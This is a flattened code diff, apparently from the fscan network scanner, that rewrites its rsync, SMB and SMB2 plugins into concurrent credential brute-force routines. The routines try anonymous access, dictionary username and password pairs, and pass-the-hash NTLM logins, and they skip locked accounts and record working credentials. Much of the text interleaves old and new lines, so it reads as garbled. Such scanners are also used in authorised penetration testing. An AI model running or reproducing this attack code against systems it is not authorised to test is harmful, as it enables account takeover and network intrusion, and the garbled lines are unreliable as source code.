Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
return tmperr
} }
func RsyncConn(info *Common.HostInfo, user string, pass string) (bool, error) { // RsyncScanResult 表示Rsync扫描结果
type RsyncScanResult struct {
Success bool
Error error
Credential RsyncCredential
IsAnonymous bool
ModuleName string
}
func RsyncScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 首先尝试匿名访问
Common.LogDebug("尝试匿名访问...")
anonymousResult := tryRsyncCredential(ctx, info, RsyncCredential{"", ""}, Common.Timeout, Common.MaxRetries)
if anonymousResult.Success {
// 匿名访问成功
saveRsyncResult(info, target, anonymousResult)
return nil
}
// 构建凭据列表
var credentials []RsyncCredential
for _, user := range Common.Userdict["rsync"] {
for _, pass := range Common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, RsyncCredential{
Username: user,
Password: actualPass,
})
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["rsync"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentRsyncScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 保存成功结果
saveRsyncResult(info, target, result)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("Rsync扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
return nil
}
}
// concurrentRsyncScan 并发扫描Rsync服务
func concurrentRsyncScan(ctx context.Context, info *Common.HostInfo, credentials []RsyncCredential, timeoutSeconds int64, maxRetries int) *RsyncScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *RsyncScanResult, 1)
workChan := make(chan RsyncCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryRsyncCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("Rsync并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryRsyncCredential 尝试单个Rsync凭据
func tryRsyncCredential(ctx context.Context, info *Common.HostInfo, credential RsyncCredential, timeoutSeconds int64, maxRetries int) *RsyncScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &RsyncScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建连接超时上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
success, moduleName, err := RsyncConn(connCtx, info, credential.Username, credential.Password)
cancel()
if success {
isAnonymous := credential.Username == "" && credential.Password == ""
return &RsyncScanResult{
Success: true,
Credential: credential,
IsAnonymous: isAnonymous,
ModuleName: moduleName,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &RsyncScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// RsyncConn 尝试Rsync连接
func RsyncConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, string, error) {
host, port := info.Host, info.Ports host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second timeout := time.Duration(Common.Timeout) * time.Second
// 设置带有上下文的拨号器
dialer := &net.Dialer{
Timeout: timeout,
}
// 建立连接 // 建立连接
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%s", host, port), timeout) conn, err := dialer.DialContext(ctx, "tcp", fmt.Sprintf("%s:%s", host, port))
if err != nil { if err != nil {
return false, err return false, "", err
} }
defer conn.Close() defer conn.Close()
buffer := make([]byte, 1024) // 创建结果通道用于超时控制
resultChan := make(chan struct {
success bool
moduleName string
err error
}, 1)
// 1. 读取服务器初始greeting // 在协程中处理连接,以支持上下文取消
n, err := conn.Read(buffer) go func() {
if err != nil { buffer := make([]byte, 1024)
return false, err
}
greeting := string(buffer[:n]) // 1. 读取服务器初始greeting
if !strings.HasPrefix(greeting, "@RSYNCD:") { conn.SetReadDeadline(time.Now().Add(timeout))
return false, fmt.Errorf("不是Rsync服务") n, err := conn.Read(buffer)
}
// 获取服务器版本号
version := strings.TrimSpace(strings.TrimPrefix(greeting, "@RSYNCD:"))
// 2. 回应相同的版本号
_, err = conn.Write([]byte(fmt.Sprintf("@RSYNCD: %s\n", version)))
if err != nil {
return false, err
}
// 3. 选择模块 - 先列出可用模块
_, err = conn.Write([]byte("#list\n"))
if err != nil {
return false, err
}
// 4. 读取模块列表
var moduleList strings.Builder
for {
n, err = conn.Read(buffer)
if err != nil { if err != nil {
break select {
} case <-ctx.Done():
chunk := string(buffer[:n]) case resultChan <- struct {
moduleList.WriteString(chunk) success bool
if strings.Contains(chunk, "@RSYNCD: EXIT") { moduleName string
break err error
} }{false, "", err}:
}
modules := strings.Split(moduleList.String(), "\n")
for _, module := range modules {
if strings.HasPrefix(module, "@RSYNCD") || module == "" {
continue
}
// 获取模块名
moduleName := strings.Fields(module)[0]
// 5. 为每个模块创建新连接尝试认证
authConn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%s", host, port), timeout)
if err != nil {
continue
}
defer authConn.Close()
// 重复初始握手
_, err = authConn.Read(buffer)
if err != nil {
authConn.Close()
continue
}
_, err = authConn.Write([]byte(fmt.Sprintf("@RSYNCD: %s\n", version)))
if err != nil {
authConn.Close()
continue
}
// 6. 选择模块
_, err = authConn.Write([]byte(moduleName + "\n"))
if err != nil {
authConn.Close()
continue
}
// 7. 等待认证挑战
n, err = authConn.Read(buffer)
if err != nil {
authConn.Close()
continue
}
authResponse := string(buffer[:n])
if strings.Contains(authResponse, "@RSYNCD: OK") {
// 模块不需要认证
if user == "" && pass == "" {
result := fmt.Sprintf("Rsync服务 %v:%v 模块:%v 无需认证", host, port, moduleName)
Common.LogSuccess(result)
return true, nil
} }
} else if strings.Contains(authResponse, "@RSYNCD: AUTHREQD") { return
if user != "" && pass != "" { }
// 8. 发送认证信息
authString := fmt.Sprintf("%s %s\n", user, pass)
_, err = authConn.Write([]byte(authString))
if err != nil {
authConn.Close()
continue
}
// 9. 读取认证结果 greeting := string(buffer[:n])
n, err = authConn.Read(buffer) if !strings.HasPrefix(greeting, "@RSYNCD:") {
if err != nil { select {
authConn.Close() case <-ctx.Done():
continue case resultChan <- struct {
} success bool
moduleName string
err error
}{false, "", fmt.Errorf("不是Rsync服务")}:
}
return
}
if !strings.Contains(string(buffer[:n]), "@ERROR") { // 获取服务器版本号
result := fmt.Sprintf("Rsync服务 %v:%v 模块:%v 认证成功 用户名: %v 密码: %v", version := strings.TrimSpace(strings.TrimPrefix(greeting, "@RSYNCD:"))
host, port, moduleName, user, pass)
Common.LogSuccess(result) // 2. 回应相同的版本号
return true, nil conn.SetWriteDeadline(time.Now().Add(timeout))
} _, err = conn.Write([]byte(fmt.Sprintf("@RSYNCD: %s\n", version)))
if err != nil {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
moduleName string
err error
}{false, "", err}:
}
return
}
// 3. 选择模块 - 先列出可用模块
conn.SetWriteDeadline(time.Now().Add(timeout))
_, err = conn.Write([]byte("#list\n"))
if err != nil {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
moduleName string
err error
}{false, "", err}:
}
return
}
// 4. 读取模块列表
var moduleList strings.Builder
for {
// 检查上下文是否取消
select {
case <-ctx.Done():
return
default:
}
conn.SetReadDeadline(time.Now().Add(timeout))
n, err = conn.Read(buffer)
if err != nil {
break
}
chunk := string(buffer[:n])
moduleList.WriteString(chunk)
if strings.Contains(chunk, "@RSYNCD: EXIT") {
break
} }
} }
authConn.Close()
}
return false, fmt.Errorf("认证失败或无可用模块") modules := strings.Split(moduleList.String(), "\n")
for _, module := range modules {
if strings.HasPrefix(module, "@RSYNCD") || module == "" {
continue
}
// 获取模块名
moduleName := strings.Fields(module)[0]
// 检查上下文是否取消
select {
case <-ctx.Done():
return
default:
}
// 5. 为每个模块创建新连接尝试认证
authConn, err := dialer.DialContext(ctx, "tcp", fmt.Sprintf("%s:%s", host, port))
if err != nil {
continue
}
defer authConn.Close()
// 重复初始握手
authConn.SetReadDeadline(time.Now().Add(timeout))
_, err = authConn.Read(buffer)
if err != nil {
authConn.Close()
continue
}
authConn.SetWriteDeadline(time.Now().Add(timeout))
_, err = authConn.Write([]byte(fmt.Sprintf("@RSYNCD: %s\n", version)))
if err != nil {
authConn.Close()
continue
}
// 6. 选择模块
authConn.SetWriteDeadline(time.Now().Add(timeout))
_, err = authConn.Write([]byte(moduleName + "\n"))
if err != nil {
authConn.Close()
continue
}
// 7. 等待认证挑战
authConn.SetReadDeadline(time.Now().Add(timeout))
n, err = authConn.Read(buffer)
if err != nil {
authConn.Close()
continue
}
authResponse := string(buffer[:n])
if strings.Contains(authResponse, "@RSYNCD: OK") {
// 模块不需要认证
if user == "" && pass == "" {
authConn.Close()
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
moduleName string
err error
}{true, moduleName, nil}:
}
return
}
} else if strings.Contains(authResponse, "@RSYNCD: AUTHREQD") {
if user != "" && pass != "" {
// 8. 发送认证信息
authString := fmt.Sprintf("%s %s\n", user, pass)
authConn.SetWriteDeadline(time.Now().Add(timeout))
_, err = authConn.Write([]byte(authString))
if err != nil {
authConn.Close()
continue
}
// 9. 读取认证结果
authConn.SetReadDeadline(time.Now().Add(timeout))
n, err = authConn.Read(buffer)
if err != nil {
authConn.Close()
continue
}
if !strings.Contains(string(buffer[:n]), "@ERROR") {
authConn.Close()
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
moduleName string
err error
}{true, moduleName, nil}:
}
return
}
}
}
authConn.Close()
}
// 如果执行到这里,没有找到成功的认证
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
moduleName string
err error
}{false, "", fmt.Errorf("认证失败或无可用模块")}:
}
}()
// 等待结果或上下文取消
select {
case result := <-resultChan:
return result.success, result.moduleName, result.err
case <-ctx.Done():
return false, "", ctx.Err()
}
}
// saveRsyncResult 保存Rsync扫描结果
func saveRsyncResult(info *Common.HostInfo, target string, result *RsyncScanResult) {
var successMsg string
var details map[string]interface{}
if result.IsAnonymous {
successMsg = fmt.Sprintf("Rsync服务 %s 匿名访问成功 模块: %s", target, result.ModuleName)
details = map[string]interface{}{
"port": info.Ports,
"service": "rsync",
"type": "anonymous-access",
"module": result.ModuleName,
}
} else {
successMsg = fmt.Sprintf("Rsync服务 %s 爆破成功 用户名: %v 密码: %v 模块: %s",
target, result.Credential.Username, result.Credential.Password, result.ModuleName)
details = map[string]interface{}{
"port": info.Ports,
"service": "rsync",
"type": "weak-password",
"username": result.Credential.Username,
"password": result.Credential.Password,
"module": result.ModuleName,
}
}
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
} }

View File

@ -1,78 +1,258 @@
package Plugins package Plugins
import ( import (
"context"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"github.com/stacktitan/smb/smb" "github.com/stacktitan/smb/smb"
"strings" "strings"
"sync"
"time" "time"
) )
func SmbScan(info *Common.HostInfo) (tmperr error) { // SmbCredential 表示一个SMB凭据
type SmbCredential struct {
Username string
Password string
}
// SmbScanResult 表示SMB扫描结果
type SmbScanResult struct {
Success bool
Error error
Credential SmbCredential
}
func SmbScan(info *Common.HostInfo) error {
if Common.DisableBrute { if Common.DisableBrute {
return nil return nil
} }
target := fmt.Sprintf("%s:%s", info.Host, info.Ports) target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 遍历所有用户 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 构建凭据列表
var credentials []SmbCredential
for _, user := range Common.Userdict["smb"] { for _, user := range Common.Userdict["smb"] {
// 遍历该用户的所有密码
for _, pass := range Common.Passwords { for _, pass := range Common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1) actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, SmbCredential{
success, err := doWithTimeOut(info, user, pass) Username: user,
if success { Password: actualPass,
// 构建结果消息 })
var successMsg string
details := map[string]interface{}{
"port": info.Ports,
"service": "smb",
"username": user,
"password": pass,
"type": "weak-password",
}
if Common.Domain != "" {
successMsg = fmt.Sprintf("SMB认证成功 %s %s\\%s:%s", target, Common.Domain, user, pass)
details["domain"] = Common.Domain
} else {
successMsg = fmt.Sprintf("SMB认证成功 %s %s:%s", target, user, pass)
}
// 记录成功日志
Common.LogSuccess(successMsg)
// 保存结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(result)
return nil
}
if err != nil {
errMsg := fmt.Sprintf("SMB认证失败 %s %s:%s %v", target, user, pass, err)
Common.LogError(errMsg)
// 等待失败日志打印完成
time.Sleep(100 * time.Millisecond)
if strings.Contains(err.Error(), "账号锁定") {
// 账号锁定时跳过当前用户的剩余密码
break // 跳出密码循环,继续下一个用户
}
}
} }
} }
return nil Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["smb"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentSmbScan(ctx, info, credentials, Common.Timeout)
if result != nil {
// 记录成功结果
saveSmbResult(info, target, result.Credential)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("SMB扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil
}
} }
// concurrentSmbScan 并发扫描SMB服务
func concurrentSmbScan(ctx context.Context, info *Common.HostInfo, credentials []SmbCredential, timeoutSeconds int64) *SmbScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *SmbScanResult, 1)
workChan := make(chan SmbCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 记录用户锁定状态,避免继续尝试已锁定的用户
lockedUsers := make(map[string]bool)
var lockedMutex sync.Mutex
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
// 检查用户是否已锁定
lockedMutex.Lock()
locked := lockedUsers[credential.Username]
lockedMutex.Unlock()
if locked {
Common.LogDebug(fmt.Sprintf("跳过已锁定用户: %s", credential.Username))
continue
}
result := trySmbCredential(scanCtx, info, credential, timeoutSeconds)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
// 检查账号锁定错误
if result.Error != nil && strings.Contains(result.Error.Error(), "账号锁定") {
lockedMutex.Lock()
lockedUsers[credential.Username] = true
lockedMutex.Unlock()
Common.LogError(fmt.Sprintf("用户 %s 已被锁定", credential.Username))
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
// 检查用户是否已锁定
lockedMutex.Lock()
locked := lockedUsers[cred.Username]
lockedMutex.Unlock()
if locked {
continue // 跳过已锁定用户
}
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("SMB并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// trySmbCredential 尝试单个SMB凭据
func trySmbCredential(ctx context.Context, info *Common.HostInfo, credential SmbCredential, timeoutSeconds int64) *SmbScanResult {
// 创建单个连接超时上下文的结果通道
resultChan := make(chan struct {
success bool
err error
}, 1)
// 在协程中尝试连接
go func() {
signal := make(chan struct{}, 1)
success, err := SmblConn(info, credential.Username, credential.Password, signal)
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{success, err}:
}
}()
// 等待结果或超时
select {
case result := <-resultChan:
return &SmbScanResult{
Success: result.success,
Error: result.err,
Credential: credential,
}
case <-ctx.Done():
return &SmbScanResult{
Success: false,
Error: ctx.Err(),
Credential: credential,
}
case <-time.After(time.Duration(timeoutSeconds) * time.Second):
return &SmbScanResult{
Success: false,
Error: fmt.Errorf("连接超时"),
Credential: credential,
}
}
}
// saveSmbResult 保存SMB扫描结果
func saveSmbResult(info *Common.HostInfo, target string, credential SmbCredential) {
// 构建结果消息
var successMsg string
details := map[string]interface{}{
"port": info.Ports,
"service": "smb",
"username": credential.Username,
"password": credential.Password,
"type": "weak-password",
}
if Common.Domain != "" {
successMsg = fmt.Sprintf("SMB认证成功 %s %s\\%s:%s", target, Common.Domain, credential.Username, credential.Password)
details["domain"] = Common.Domain
} else {
successMsg = fmt.Sprintf("SMB认证成功 %s %s:%s", target, credential.Username, credential.Password)
}
// 记录成功日志
Common.LogSuccess(successMsg)
// 保存结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(result)
}
// SmblConn 尝试建立SMB连接并认证
func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) { func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
options := smb.Options{ options := smb.Options{
Host: info.Host, Host: info.Host,
@ -116,34 +296,3 @@ func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struc
signal <- struct{}{} signal <- struct{}{}
return false, err return false, err
} }
func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool, err error) {
signal := make(chan struct{}, 1)
result := make(chan struct {
success bool
err error
}, 1)
go func() {
success, err := SmblConn(info, user, pass, signal)
select {
case result <- struct {
success bool
err error
}{success, err}:
default:
}
}()
select {
case r := <-result:
return r.success, r.err
case <-time.After(time.Duration(Common.Timeout) * time.Second):
select {
case r := <-result:
return r.success, r.err
default:
return false, fmt.Errorf("连接超时")
}
}
}

View File

@ -1,146 +1,397 @@
package Plugins package Plugins
import ( import (
"context"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"net" "net"
"os" "os"
"strings" "strings"
"sync"
"time" "time"
"github.com/hirochachacha/go-smb2" "github.com/hirochachacha/go-smb2"
) )
// Smb2Credential 表示一个SMB2凭据
type Smb2Credential struct {
Username string
Password string
Hash []byte
IsHash bool
}
// Smb2ScanResult 表示SMB2扫描结果
type Smb2ScanResult struct {
Success bool
Error error
Credential Smb2Credential
Shares []string
}
// SmbScan2 执行SMB2服务的认证扫描支持密码和哈希两种认证方式 // SmbScan2 执行SMB2服务的认证扫描支持密码和哈希两种认证方式
func SmbScan2(info *Common.HostInfo) (tmperr error) { func SmbScan2(info *Common.HostInfo) error {
if Common.DisableBrute { if Common.DisableBrute {
return nil return nil
} }
// 使用哈希认证模式 target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始SMB2扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 根据是否提供哈希选择认证模式
if len(Common.HashBytes) > 0 { if len(Common.HashBytes) > 0 {
return smbHashScan(info) return smbHashScan(ctx, info)
} }
// 使用密码认证模式 return smbPasswordScan(ctx, info)
return smbPasswordScan(info)
} }
func smbPasswordScan(info *Common.HostInfo) error { // smbPasswordScan 使用密码进行SMB2认证扫描
func smbPasswordScan(ctx context.Context, info *Common.HostInfo) error {
if Common.DisableBrute { if Common.DisableBrute {
return nil return nil
} }
hasprint := false // 构建凭据列表
var credentials []Smb2Credential
// 遍历每个用户
for _, user := range Common.Userdict["smb"] { for _, user := range Common.Userdict["smb"] {
accountLocked := false // 添加账户锁定标志
// 遍历该用户的所有密码
for _, pass := range Common.Passwords { for _, pass := range Common.Passwords {
if accountLocked { // 如果账户被锁定,跳过剩余密码 actualPass := strings.ReplaceAll(pass, "{user}", user)
break credentials = append(credentials, Smb2Credential{
} Username: user,
Password: actualPass,
pass = strings.ReplaceAll(pass, "{user}", user) Hash: []byte{},
IsHash: false,
// 重试循环 })
for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ {
success, err, printed := Smb2Con(info, user, pass, []byte{}, hasprint)
if printed {
hasprint = true
}
if success {
logSuccessfulAuth(info, user, pass, []byte{})
return nil
}
if err != nil {
logFailedAuth(info, user, pass, []byte{}, err)
// 检查是否账户锁定
if strings.Contains(err.Error(), "account has been automatically locked") ||
strings.Contains(err.Error(), "account has been locked") {
accountLocked = true // 设置锁定标志
break
}
// 其他登录失败情况
if strings.Contains(err.Error(), "LOGIN_FAILED") ||
strings.Contains(err.Error(), "Authentication failed") ||
strings.Contains(err.Error(), "attempted logon is invalid") ||
strings.Contains(err.Error(), "bad username or authentication") {
break
}
if retryCount < Common.MaxRetries-1 {
time.Sleep(time.Second * time.Duration(retryCount+2))
continue
}
}
break
}
} }
} }
return nil Common.LogDebug(fmt.Sprintf("开始SMB2密码认证扫描 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["smb"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
return concurrentSmb2Scan(ctx, info, credentials)
} }
func smbHashScan(info *Common.HostInfo) error { // smbHashScan 使用哈希进行SMB2认证扫描
func smbHashScan(ctx context.Context, info *Common.HostInfo) error {
if Common.DisableBrute { if Common.DisableBrute {
return nil return nil
} }
hasprint := false // 构建凭据列表
var credentials []Smb2Credential
// 遍历每个用户
for _, user := range Common.Userdict["smb"] { for _, user := range Common.Userdict["smb"] {
// 遍历该用户的所有hash
for _, hash := range Common.HashBytes { for _, hash := range Common.HashBytes {
// 重试循环 credentials = append(credentials, Smb2Credential{
for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ { Username: user,
success, err, printed := Smb2Con(info, user, "", hash, hasprint) Password: "",
Hash: hash,
if printed { IsHash: true,
hasprint = true })
}
if success {
logSuccessfulAuth(info, user, "", hash)
return nil
}
if err != nil {
logFailedAuth(info, user, "", hash, err)
// 检查是否账户锁定
if strings.Contains(err.Error(), "user account has been automatically locked") {
// 账户锁定跳过该用户的剩余hash
break
}
// 其他登录失败情况
if strings.Contains(err.Error(), "LOGIN_FAILED") ||
strings.Contains(err.Error(), "Authentication failed") ||
strings.Contains(err.Error(), "attempted logon is invalid") ||
strings.Contains(err.Error(), "bad username or authentication") {
break
}
if retryCount < Common.MaxRetries-1 {
time.Sleep(time.Second * time.Duration(retryCount+1))
continue
}
}
break
}
} }
} }
return nil Common.LogDebug(fmt.Sprintf("开始SMB2哈希认证扫描 (总用户数: %d, 总哈希数: %d, 总组合数: %d)",
len(Common.Userdict["smb"]), len(Common.HashBytes), len(credentials)))
// 使用工作池并发扫描
return concurrentSmb2Scan(ctx, info, credentials)
}
// concurrentSmb2Scan 并发扫描SMB2服务
func concurrentSmb2Scan(ctx context.Context, info *Common.HostInfo, credentials []Smb2Credential) error {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *Smb2ScanResult, 1)
workChan := make(chan Smb2Credential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 记录共享信息是否已打印和锁定的用户
var (
sharesPrinted bool
lockedUsers = make(map[string]bool)
mutex sync.Mutex
)
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
// 检查用户是否已锁定
mutex.Lock()
locked := lockedUsers[credential.Username]
currentSharesPrinted := sharesPrinted
mutex.Unlock()
if locked {
Common.LogDebug(fmt.Sprintf("跳过已锁定用户: %s", credential.Username))
continue
}
// 尝试凭据
result := trySmb2Credential(scanCtx, info, credential, currentSharesPrinted)
// 更新共享信息打印状态
if result.Shares != nil && len(result.Shares) > 0 && !currentSharesPrinted {
mutex.Lock()
sharesPrinted = true
mutex.Unlock()
// 打印共享信息
logShareInfo(info, credential.Username, credential.Password, credential.Hash, result.Shares)
}
// 检查认证成功
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
// 检查账户锁定
if result.Error != nil {
errMsg := result.Error.Error()
if strings.Contains(errMsg, "account has been automatically locked") ||
strings.Contains(errMsg, "account has been locked") ||
strings.Contains(errMsg, "user account has been automatically locked") {
mutex.Lock()
lockedUsers[credential.Username] = true
mutex.Unlock()
Common.LogError(fmt.Sprintf("用户 %s 已被锁定", credential.Username))
}
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
// 检查用户是否已锁定
mutex.Lock()
locked := lockedUsers[cred.Username]
mutex.Unlock()
if locked {
continue // 跳过已锁定用户
}
if cred.IsHash {
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s Hash:%s",
i+1, len(credentials), cred.Username, Common.HashValue))
} else {
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s",
i+1, len(credentials), cred.Username, cred.Password))
}
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
// 记录成功结果
logSuccessfulAuth(info, result.Credential.Username,
result.Credential.Password, result.Credential.Hash)
return nil
}
return nil
case <-ctx.Done():
Common.LogDebug("SMB2扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return fmt.Errorf("全局超时")
}
}
// trySmb2Credential 尝试单个SMB2凭据
func trySmb2Credential(ctx context.Context, info *Common.HostInfo, credential Smb2Credential, hasprint bool) *Smb2ScanResult {
// 创建单个连接超时上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second)
defer cancel()
// 在协程中尝试连接
resultChan := make(chan struct {
success bool
shares []string
err error
}, 1)
go func() {
success, err, shares := Smb2Con(connCtx, info, credential.Username,
credential.Password, credential.Hash, hasprint)
select {
case <-connCtx.Done():
case resultChan <- struct {
success bool
shares []string
err error
}{success, shares, err}:
}
}()
// 等待结果或超时
select {
case result := <-resultChan:
if result.success {
return &Smb2ScanResult{
Success: true,
Credential: credential,
Shares: result.shares,
}
}
// 失败时记录错误
if result.err != nil {
logFailedAuth(info, credential.Username, credential.Password, credential.Hash, result.err)
}
return &Smb2ScanResult{
Success: false,
Error: result.err,
Credential: credential,
Shares: result.shares,
}
case <-connCtx.Done():
if ctx.Err() != nil {
// 全局超时
return &Smb2ScanResult{
Success: false,
Error: ctx.Err(),
Credential: credential,
}
}
// 单个连接超时
err := fmt.Errorf("连接超时")
logFailedAuth(info, credential.Username, credential.Password, credential.Hash, err)
return &Smb2ScanResult{
Success: false,
Error: err,
Credential: credential,
}
}
}
// Smb2Con 尝试SMB2连接并进行认证检查共享访问权限
func Smb2Con(ctx context.Context, info *Common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, shares []string) {
// 建立TCP连接使用上下文提供的超时控制
var d net.Dialer
conn, err := d.DialContext(ctx, "tcp", fmt.Sprintf("%s:445", info.Host))
if err != nil {
return false, fmt.Errorf("连接失败: %v", err), nil
}
defer conn.Close()
// 配置NTLM认证
initiator := smb2.NTLMInitiator{
User: user,
Domain: Common.Domain,
}
// 设置认证方式(哈希或密码)
if len(hash) > 0 {
initiator.Hash = hash
} else {
initiator.Password = pass
}
// 创建SMB2会话
dialer := &smb2.Dialer{
